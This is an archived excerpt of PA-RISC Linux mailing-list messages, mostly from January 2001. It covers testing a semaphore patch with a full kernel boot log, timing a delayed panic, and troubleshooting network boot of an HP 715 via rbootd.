until the 10 seconds is up.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] semaphores
Date: Sat, 13 Jan 2001 11:33:26 -0800
Lines: 238
Approved: news@gmane.org
Message-ID: <200101131933.LAA08812@milano.cup.hp.com>
References: <20010113081835.C16185@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619520 10243 80.91.229.3 (22 Nov 2014 01:25:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:20 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: grundler@cup.hp.com  Sat Jan 13 12:28:25 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA26368
	for <parisc-linux@puffin.external.hp.com>; Sat, 13 Jan 2001 12:28:24 -0700
Original-Received: (qmail 27015 invoked by uid 15267); 13 Jan 2001 19:32:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27001 invoked from network); 13 Jan 2001 19:32:01 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 13 Jan 2001 19:32:01 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 246AB10C1; Sat, 13 Jan 2001 11:32:00 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id LAA08812;
	Sat, 13 Jan 2001 11:33:27 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sat, 13 Jan 2001 08:18:35 PST."
             <20010113081835.C16185@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:9161

Matthew Wilcox wrote:
> 
> ok, bug found: i wasn't reenabling irqs if it had to sleep.  this patch
> should fix that bug, but obviously there may be more.  Please someone
> test this, I don't have access to any PA-RISC machines here in Sydney.

Tested on A500 and 64-bit wedges after kswapd.
Here's the output.

grant


Main Menu: Enter command or menu > bo lan
Interact with IPL (Y, N, or Cancel)?> n

Booting... 
Network Station Address 00306e-03799f
System IP Address 15.8.80.77
Server IP Address 15.8.81.247

Boot IO Dependent Code (IODC) revision 2


HARD Booted.
palo ipl grundler@hpisp747 Wed Dec 27 14:27:46 PST 2000
0/vmlinux 2701749 bytes @ 0x6800
0/palo-cmdline '0/vmlinux HOME=/ TERM=linux root=/dev/nfs nfsroot=15.8.81.247:/'
Kernel: partition 0 file /vmlinux                                               
ELF64 executable                                                                
                                                                                
Entry 00100000 first 00100000 n 4                                               
Segment 0 load 00100000 size 1652568 mediaptr 0x1000                            
Segment 1 load 00294000 size 421808 mediaptr 0x195000                           
Segment 2 load 002fc000 size 101936 mediaptr 0x1fc000                           
Segment 3 load 00318000 size 16384 mediaptr 0x215000                            
branching to kernel entry point 0x00100000                                      
Set default PSW W bit to 1                                                      
PDC Console Initialized                                                         
The 64-bit Kernel has started...                                                
Enabled FP coprocessor                                                          
If this is the LAST MESSAGE YOU SEE, you're probably using                      
32-bit millicode by mistake.                                                    
Free memory starts at: 0xc035f000                                               
start_parisc(0x504d70,0x504d70,0x0,0x0)                                         
PALO command line: 'HOME=/ TERM=linux root=/dev/nfs nfsroot=15.8.81.247:/tftpbo'
PALO initrd 0-0                                                                 
model   00005cb0 00000491 00000000 00000001 23355fdc 100000f0 00000008 000000b22
vers    00000300                                                                
cpuid   0000022a                                                                
CPUID   vers 17 rev 10                                                          
model   9000/800/A500-44                                                        
Searching for devices in PDC firmware... processor hpa 0xfffffffffffa0000       
Found devices:                                                                  
1. Crescendo 440 (0) at 0xfffffffffffa0000, versions 0x5cb, 0x0, 0x4, 0x0, 0x91 
2. Crescendo 440 (0) at 0xfffffffffffa2000, versions 0x5cb, 0x0, 0x4, 0x0, 0x91 
3. Crescendo Memory (1) at 0xfffffffffed08000, versions 0x9b, 0x0, 0x9, 0x0, 0x0
4. Astro BC Runway Port (12) at 0xfffffffffed00000, versions 0x582, 0x0, 0xb, 00
5. Elroy PCI Bridge (13) at 0xfffffffffed30000, versions 0x782, 0x0, 0xa, 0x0, 0
6. Elroy PCI Bridge (13) at 0xfffffffffed34000, versions 0x782, 0x0, 0xa, 0x0, 0
7. Elroy PCI Bridge (13) at 0xfffffffffed38000, versions 0x782, 0x0, 0xa, 0x0, 0
8. Elroy PCI Bridge (13) at 0xfffffffffed3c000, versions 0x782, 0x0, 0xa, 0x0, 0
That's a total of 8 devices.                                                    
CONFIG_SMP disabled - not claiming addional CPUs                                
Warning : device (0, 0x5cb, 0x0, 0x4, 0x0) NOT claimed by CPU PARISC            
CPU(s): 1 x PA8500 (PCX-W) at 440.000000 MHz                                    
Linux version 2.4.0-test10 (grundler@hpisp747) (gcc version 2.96 20000925 (expe1
free_bootmem(0x361000, 0xfc9f000)                                               
initrd: 00000000-00000000                                                       
pagetable_init                                                                  
On node 0 totalpages: 65536                                                     
zone(0): 32768 pages.                                                           
zone(1): 32768 pages.                                                           
zone(2): 0 pages.                                                               
Kernel command line: HOME=/ TERM=linux root=/dev/nfs nfsroot=15.8.81.247:/tftpb0
trap_init                                                                       
Calibrating delay loop... 878.18 BogoMIPS                                       
Memory: 249452k available                                                       
down     00000000c0327d70                                                       
up       00000000c0327d70                                                       
end_up   00000000c0327d70                                                       
down     00000000c0327d70                                                       
up       00000000c0327d70                                                       
end_up   00000000c0327d70                                                       
down     00000000c0327d70                                                       
up       00000000c0327d70                                                       
end_up   00000000c0327d70                                                       
down     00000000c0327d70                                                       
up       00000000c0327d70                                                       
end_up   00000000c0327d70                                                       
down     00000000c0327d70                                                       
up       00000000c0327d70                                                       
end_up   00000000c0327d70                                                       
down     00000000c0327d70                                                       
up       00000000c0327d70                                                       
end_up   00000000c0327d70                                                       
down     00000000c0327d70                                                       
up       00000000c0327d70                                                       
end_up   00000000c0327d70                                                       
down     00000000c0327d70                                                       
up       00000000c0327d70                                                       
end_up   00000000c0327d70                                                       
down     00000000c0327d70                                                       
up       00000000c0327d70                                                       
end_up   00000000c0327d70                                                       
down     00000000c0327d70                                                       
up       00000000c0327d70                                                       
end_up   00000000c0327d70                                                       
down     00000000c0327d70                                                       
up       00000000c0327d70                                                       
end_up   00000000c0327d70                                                       
down     00000000c0327d70                                                       
up       00000000c0327d70                                                       
end_up   00000000c0327d70                                                       
down     00000000c0327d70                                                       
up       00000000c0327d70                                                       
end_up   00000000c0327d70                                                       
down     00000000c0327d70                                                       
up       00000000c0327d70                                                       
end_up   00000000c0327d70                                                       
down     00000000c0327d70                                                       
up       00000000c0327d70                                                       
end_up   00000000c0327d70                                                       
down     00000000c0327d70                                                       
up       00000000c0327d70                                                       
end_up   00000000c0327d70                                                       
down     00000000c0327d70                                                       
up       00000000c0327d70                                                       
end_up   00000000c0327d70                                                       
down     00000000c0327d70                                                       
up       00000000c0327d70                                                       
end_up   00000000c0327d70                                                       
down     00000000c0327d70                                                       
up       00000000c0327d70                                                       
end_up   00000000c0327d70                                                       
down     00000000c0327d70                                                       
up       00000000c0327d70                                                       
end_up   00000000c0327d70                                                       
down     00000000c0327d70                                                       
up       00000000c0327d70                                                       
end_up   00000000c0327d70                                                       
down     00000000c0327d70                                                       
up       00000000c0327d70                                                       
end_up   00000000c0327d70                                                       
down     00000000c0327d70                                                       
up       00000000c0327d70                                                       
end_up   00000000c0327d70                                                       
down     00000000c0327d70                                                       
up       00000000c0327d70                                                       
end_up   00000000c0327d70                                                       
down     00000000c0327d70                                                       
up       00000000c0327d70                                                       
end_up   00000000c0327d70                                                       
down     00000000c0327d70                                                       
up       00000000c0327d70                                                       
end_up   00000000c0327d70                                                       
down     00000000c0327d70                                                       
up       00000000c0327d70                                                       
end_up   00000000c0327d70                                                       
down     00000000c0327d70                                                       
up       00000000c0327d70                                                       
end_up   00000000c0327d70                                                       
down     00000000c0327d70                                                       
up       00000000c0327d70                                                       
end_up   00000000c0327d70                                                       
down     00000000c0327d70                                                       
up       00000000c0327d70                                                       
end_up   00000000c0327d70                                                       
down     00000000c0327d70                                                       
up       00000000c0327d70                                                       
end_up   00000000c0327d70                                                       
down     00000000c0327d70                                                       
up       00000000c0327d70                                                       
end_up   00000000c0327d70                                                       
down     00000000c0327d70                                                       
up       00000000c0327d70                                                       
end_up   00000000c0327d70                                                       
down     00000000c0327d70                                                       
up       00000000c0327d70                                                       
end_up   00000000c0327d70                                                       
down     00000000c0327d70                                                       
up       00000000c0327d70                                                       
end_up   00000000c0327d70                                                       
Dentry-cache hash table entries: 32768 (order: 7, 524288 bytes)                 
Buffer-cache hash table entries: 16384 (order: 5, 131072 bytes)                 
Page-cache hash table entries: 65536 (order: 7, 524288 bytes)                   
down     00000000c0327d70                                                       
up       00000000c0327d70                                                       
end_up   00000000c0327d70                                                       
down     00000000c0327d70                                                       
up       00000000c0327d70                                                       
end_up   00000000c0327d70                                                       
down     00000000c0327d70                                                       
up       00000000c0327d70                                                       
end_up   00000000c0327d70                                                       
Inode-cache hash table entries: 16384 (order: 6, 262144 bytes)                  
down     00000000c0327d70                                                       
up       00000000c0327d70                                                       
end_up   00000000c0327d70                                                       
POSIX conformance testing by UNIFIX                                             
lba version TR4.0 (0x5) found at 0xfffffffffed30000                             
lba range[2] : ignoring GMMIO (0xfffffff804000000)                              
PCI: dev PCI device 1000:000b type 64-bit                                       
PCI: dev PCI device 1000:000b type 64-bit                                       
PCI: dev PCI device 1000:000b type 64-bit                                       
PCI: dev PCI device 1000:000b type 64-bit                                       
lba version TR4.0 (0x5) found at 0xfffffffffed34000                             
lba range[2] : ignoring GMMIO (0xfffffff904000000)                              
lba version TR4.0 (0x5) found at 0xfffffffffed38000                             
lba range[2] : ignoring GMMIO (0xfffffffa04000000)                              
PCI: dev PCI device 1000:000b type 64-bit                                       
PCI: dev PCI device 1000:000b type 64-bit                                       
PCI: dev PCI device 1000:000b type 64-bit                                       
PCI: dev PCI device 1000:000b type 64-bit                                       
lba version TR4.0 (0x5) found at 0xfffffffffed3c000                             
lba range[2] : ignoring GMMIO (0xfffffffb04000000)                              
PCI : ignoring 30:00.0 PCI-PCI bridge - I/O BASE not configured                 
PCI : ignoring 30:02.0 PCI-PCI bridge - I/O BASE not configured                 
PCI: dev PCI device 1000:000b type 64-bit                                       
PCI: dev PCI device 1000:000b type 64-bit                                       
PCI: dev PCI device 1000:000b type 64-bit                                       
PCI: dev PCI device 1000:000b type 64-bit                                       
SBA found Astro 2.1 at 0xfffffffffed00000                                       
Linux NET4.0 for Linux 2.4                                                      
Based upon Swansea University Computer Society NET3.039                         
down     00000000c0327d70                                                       
up       00000000c0327d70                                                       
end_up   00000000c0327d70                                                       
down     00000000c0327d70                                                       
up       00000000c0327d70                                                       
end_up   00000000c0327d70                                                       
down     00000000c0327d70                                                       
up       00000000c0327d70                                                       
end_up   00000000c0327d70                                                       
Starting kswapd v1.8                                                            
down     00000000cfff0988                                                       
up       00000000cfff0988                                                       
end_up   00000000cfff0988                                                       


From - Thu Nov 08 21:15:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: LaMont Jones <lamont@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Oopser
Date: Sat, 13 Jan 2001 14:45:54 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <20010113214555.D53361872C@security.hp.com>
References: <20010113181326.C7463@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416619520 10256 80.91.229.3 (22 Nov 2014 01:25:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:20 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, parisc-linux@thepuffingroup.com,
        lamont@hp.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: lamont@hp.com  Sat Jan 13 14:42:31 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA27557
	for <parisc-linux@puffin.external.hp.com>; Sat, 13 Jan 2001 14:42:30 -0700
Original-Received: (qmail 7889 invoked by uid 15267); 13 Jan 2001 21:46:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7877 invoked from network); 13 Jan 2001 21:46:07 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 13 Jan 2001 21:46:07 -0000
Original-Received: from security.hp.com (cranston.fc.hp.com [15.1.44.224])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 1AF811C2; Sat, 13 Jan 2001 16:46:07 -0500 (EST)
Original-Received: from cranston.fc.hp.com (cranston.fc.hp.com [15.1.44.224])
	by security.hp.com (Postfix) with ESMTP
	id D53361872C; Sat, 13 Jan 2001 14:45:55 -0700 (MST)
In-reply-to: Your message of "Sat, 13 Jan 2001 18:13:26 GMT."
             <20010113181326.C7463@parcelfarce.linux.theplanet.co.uk> 
Content-ID: <10767.979422354.1@cranston.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9162

> Sorry, I wasn't precise enough.  I want the rest of the kernel to continue
> until the 10 seconds is up.

The only way I've ever done this is to set a timer for 10 seconds, and have
the hander for said timer be panic, or reboot, or whatever you want it to
do...

That's going to require that timer interrupts work.

(I think MPE/iX _STILL_ has a routine in the kernel called delayed_reboot...)

lamont


From - Thu Nov 08 21:15:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Oopser
Date: Sun, 14 Jan 2001 01:53:54 +0000
Lines: 15
Approved: news@gmane.org
Message-ID: <20010114015354.H7463@parcelfarce.linux.theplanet.co.uk>
References: <20010113181326.C7463@parcelfarce.linux.theplanet.co.uk> <20010113214555.D53361872C@security.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619520 10262 80.91.229.3 (22 Nov 2014 01:25:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:20 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, Grant Grundler <grundler@cup.hp.com>,
        parisc-linux@thepuffingroup.com
To: LaMont Jones <lamont@hp.com>
Original-X-From: willy@www.linux.org.uk  Sat Jan 13 18:50:31 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA29115
	for <parisc-linux@puffin.external.hp.com>; Sat, 13 Jan 2001 18:50:30 -0700
Original-Received: (qmail 12673 invoked by uid 15267); 14 Jan 2001 01:54:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12664 invoked from network); 14 Jan 2001 01:54:08 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 14 Jan 2001 01:54:08 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14HcMk-0006Cr-00; Sun, 14 Jan 2001 01:53:54 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <20010113214555.D53361872C@security.hp.com>; from lamont@hp.com on Sat, Jan 13, 2001 at 02:45:54PM -0700
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9163

On Sat, Jan 13, 2001 at 02:45:54PM -0700, LaMont Jones wrote:
> The only way I've ever done this is to set a timer for 10 seconds, and have
> the hander for said timer be panic, or reboot, or whatever you want it to
> do...
> 
> That's going to require that timer interrupts work.
> 
> (I think MPE/iX _STILL_ has a routine in the kernel called delayed_reboot...)

jsm pointed out that i can get what i want by toc'ing the machine.
which i did know at one point... it was how i debugged the c3k.  doh.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] semaphores
Date: Sun, 14 Jan 2001 02:01:01 +0000
Lines: 10
Approved: news@gmane.org
Message-ID: <20010114020101.J7463@parcelfarce.linux.theplanet.co.uk>
References: <20010113081835.C16185@parcelfarce.linux.theplanet.co.uk> <200101131933.LAA08812@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619521 10270 80.91.229.3 (22 Nov 2014 01:25:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:21 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: willy@www.linux.org.uk  Sat Jan 13 18:57:27 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA29428
	for <parisc-linux@puffin.external.hp.com>; Sat, 13 Jan 2001 18:57:26 -0700
Original-Received: (qmail 18161 invoked by uid 15267); 14 Jan 2001 02:01:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18154 invoked from network); 14 Jan 2001 02:01:04 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 14 Jan 2001 02:01:04 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14HcTd-0006Je-00; Sun, 14 Jan 2001 02:01:01 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <200101131933.LAA08812@milano.cup.hp.com>; from grundler@cup.hp.com on Sat, Jan 13, 2001 at 11:33:26AM -0800
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9164


thanks for trying this, grant.  i'll continue trying to debug this when
i'm back from oz and have a machine to hand again.  trying to debug this
by proxy just isn't going to work.

of course anyone who wants to is welcome to try debugging it.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Phillip D. Beal" <pdbeal@louisville.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/80 problem
Date: Sat, 13 Jan 2001 22:35:13 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <20010113223513.A63406@athena.louisville.edu>
References: <20010111213734.D134330@athena.louisville.edu> <3A5E8AA6.6D825A61@linuxcare.com> <20010112182012.H13351@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619521 10274 80.91.229.3 (22 Nov 2014 01:25:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:21 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: pdbeal@louisville.edu  Sat Jan 13 20:32:11 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA30064
	for <parisc-linux@puffin.external.hp.com>; Sat, 13 Jan 2001 20:32:10 -0700
Original-Received: (qmail 22846 invoked by uid 15267); 14 Jan 2001 03:35:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22839 invoked from network); 14 Jan 2001 03:35:45 -0000
Original-Received: from erouter1.it-datacntr.louisville.edu (136.165.1.15)
  by mailserv2.iuinc.com with SMTP; 14 Jan 2001 03:35:45 -0000
Original-Received: from athena.louisville.edu (athena.louisville.edu [136.165.1.37])
	by erouter1.it-datacntr.louisville.edu (Postfix) with ESMTP id 5001323339
	for <parisc-linux@thepuffingroup.com>; Sat, 13 Jan 2001 22:35:45 -0500 (EST)
Original-Received: by athena.louisville.edu (Postfix, from userid 43478)
	id 64C58C13; Sat, 13 Jan 2001 22:35:13 -0500 (EST)
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010112182012.H13351@neep.com.au>; from andrew@neep.com.au on Fri, Jan 12, 2001 at 06:20:15PM +0800
Xref: news.gmane.org gmane.linux.ports.parisc:9165

On Fri, Jan 12, 2001 at 06:20:15PM +0800, Andrew Shugg wrote:
> Alex deVries said:
> > Okay... I *think* that 735 and 755 boot using rbootd.
> 
> The 735 certainly does.

Right I know that, but what file is used from a kernel build to boot a
715?  iplboot? lifimage? vmlinux?  I've tried all three, and the boot
sequence from the netowrk fails.  It can't load iplboot for some reason.
my bootptab looks identical to the one from the nfsroot howto, otherthan
the ip I'm giving is different.  what does it require to get iplboot to
load on a network boot for a 715 using bootp?

-- 
Phillip Beal                           ___           _               _   
Electrical and Computer Engineering   | _ ) ___ __ _| |___  _ _  ___| |_ 
pdbeal@louisville.edu                 | _ \/ -_) _` | |_ /_| ' \/ -_)  _|
http://www.bealz.net/                 |___/\___\__,_|_/__(_)_||_\___|\__|


From - Thu Nov 08 21:15:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <alex@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/80 problem
Date: Sun, 14 Jan 2001 01:04:03 -0500
Organization: The Puffins at Linuxcare
Lines: 31
Approved: news@gmane.org
Message-ID: <3A614153.68903841@linuxcare.com>
References: <20010111213734.D134330@athena.louisville.edu> <3A5E8AA6.6D825A61@linuxcare.com> <20010112182012.H13351@neep.com.au> <20010113223513.A63406@athena.louisville.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619521 10277 80.91.229.3 (22 Nov 2014 01:25:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:21 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Phillip D. Beal" <pdbeal@louisville.edu>
Original-X-From: alex@linuxcare.com  Sat Jan 13 22:55:36 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA30880
	for <parisc-linux@puffin.external.hp.com>; Sat, 13 Jan 2001 22:55:35 -0700
Original-Received: (qmail 26398 invoked by uid 15267); 14 Jan 2001 05:59:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26372 invoked from network); 14 Jan 2001 05:59:13 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 14 Jan 2001 05:59:13 -0000
Original-Received: (qmail 7477 invoked from network); 14 Jan 2001 05:59:14 -0000
Original-Received: from hse-ottawa-ppp158469.sympatico.ca (HELO linuxcare.com) (adevries@64.229.134.124)
  by smtp.linuxcare.com with SMTP; 14 Jan 2001 05:59:14 -0000
Original-Sender: adevries@mailserv2.iuinc.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.18 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9166

"Phillip D. Beal" wrote:
> 
> On Fri, Jan 12, 2001 at 06:20:15PM +0800, Andrew Shugg wrote:
> > Alex deVries said:
> > > Okay... I *think* that 735 and 755 boot using rbootd.
> >
> > The 735 certainly does.
> 
> Right I know that, but what file is used from a kernel build to boot a
> 715?  iplboot? lifimage? vmlinux?  

lifimage.  All parisc machines boot lifimage files.


> I've tried all three, and the boot
> sequence from the netowrk fails.  

I suspect there's a problem with your network boot server (ie. rbootd)
*not* the image you're booting.  Does the log output of rbootd indicated
a successful  transfer of the bootfile?  You can do this by running
'rbootd -d', which should spew debug info to the console.

- Alex


-- 
Alex deVries, Principal Solutions Architect, The Puffins at Linuxcare
613.562.2759 tel
alex@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Support for the revolution.


From - Thu Nov 08 21:15:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Keith Hopkins <keith_hopkins@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Ready to go!
Date: Sat, 29 May 1999 17:28:54 -0400
Organization: SSSA/WARC
Lines: 18
Approved: news@gmane.org
Message-ID: <37505C16.589AB9E4@hp.com>
References: <Pine.LNX.4.10.9905292311070.25944-100000@bastion.nl3155vj16.va>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619522 10279 80.91.229.3 (22 Nov 2014 01:25:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:22 +0000 (UTC)
Cc: PA-RISC / Linux Mailing List <parisc-linux@thepuffingroup.com>
To: Hugo.van.der.Kooij@caiw.nl
Original-X-From: keith_hopkins@hp.com  Sat May 29 15:29:08 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA03944
	for <parisc-linux@puffin.external.hp.com>; Sat, 29 May 1999 15:29:07 -0600
Original-Received: (qmail 22099 invoked by uid 15267); 29 May 1999 21:28:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22092 invoked from network); 29 May 1999 21:28:35 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 29 May 1999 21:28:35 -0000
Original-Received: from rc.atl.hp.com (root@rc.atl.hp.com [15.51.240.3])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id OAA27042
	for <parisc-linux@thepuffingroup.com>; Sat, 29 May 1999 14:29:02 -0700 (PDT)
Original-Received: from hp.com (kxh3@i3109dms.atl.hp.com [15.50.65.133]) by rc.atl.hp.com with ESMTP (8.8.6 (PHNE_14041)/8.7.1) id RAA00325; Sat, 29 May 1999 17:28:57 -0400 (EDT)
Original-Sender: kxh3@rc.atl.hp.com
X-Mailer: Mozilla 4.6 [en] (X11; I; HP-UX B.11.00 9000/715)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9167

Hugo.van.der.Kooij@caiw.nl wrote:
> 
> On Sat, 29 May 1999, Ross Sponholtz wrote:
> 
> > Alright!  I finally got my HP 715.  Now I need to get started with the project.  I was planning on getting MkLinux going, but apparently, the opengroup site with the software has been taken down.  Does anyone have the disk image that I could ftp?  Also, is everyone booting off the network (for development purposes)?
> 
> The 715/33 won't run mklinux at all. Basically one of the reasons I have
> set my hopes on the real PARISC port. (Which I will patiently await.)
> 

 Why are you waiting? (Patiently or otherwise)  Why not offer to get
involved in the project?


Keith Hopkins
- my opinions are my own and do not necessarily reflect those of my
employer -


From - Thu Nov 08 21:15:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Phillip D. Beal" <pdbeal@louisville.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/80 problem
Date: Sun, 14 Jan 2001 13:02:20 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <20010114130220.A92364@athena.louisville.edu>
References: <20010111213734.D134330@athena.louisville.edu> <3A5E8AA6.6D825A61@linuxcare.com> <20010112182012.H13351@neep.com.au> <20010113223513.A63406@athena.louisville.edu> <3A614153.68903841@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619522 10281 80.91.229.3 (22 Nov 2014 01:25:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:22 +0000 (UTC)
To: Alex deVries <alex@linuxcare.com>, parisc-linux@thepuffingroup.com
Original-X-From: pdbeal@louisville.edu  Sun Jan 14 10:59:17 2001
